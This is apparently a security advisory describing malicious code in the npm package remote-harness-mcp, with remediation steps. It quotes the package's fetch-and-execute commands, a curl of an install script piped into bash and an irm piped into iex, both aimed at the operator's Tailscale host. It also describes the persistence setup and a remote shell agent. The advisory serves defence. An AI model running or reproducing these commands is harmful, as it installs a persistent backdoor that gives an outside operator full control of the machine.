Malicious package · npm
Malicious code in remote-harness-mcp (npm)
0.4.50.5.1No safe version. Remove it.What it does
bin/cli.js (declared as the package main and both bin targets) falls through to a launchRemoteInstaller code path for unrecognized argv that executes curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash on Unix and irm https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1 | iex on Windows. The host is a Tailscale funnel subdomain controlled by the operator, not a package publisher or vendor domain; the fetch is unversioned and has no checksum or signature verification, so the bytes executed on the installer can be changed arbitrarily at any time by whoever controls the tunnel. install.sh additionally sets up systemd/launchd/Scheduled Task persistence so the agent is relaunched automatically after reboot. core/agent.py opens an outbound WebSocket to the same hardcoded host and dispatches gateway tools/call messages (including bash_exec and run_job, per server.py _REQUIRED_ARGS) into shell execution on the installer's host via core/mcp_tools; the control plane is authenticated by a 128-bit token but the destination is hardcoded and not caller-configurable without a MESH_GATEWAY override. The net effect is that installing and running this package gives the operator of racknerd-5a24bf9.merino-carob.ts.net the ability to (a) deliver arbitrary install-time code to the installer's machine and (b) issue arbitrary shell commands to it on an ongoing basis via the persistent agent.
Reported by ghsa-malware Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
No fix · Remove and contain
npm uninstall remote-harness-mcpSources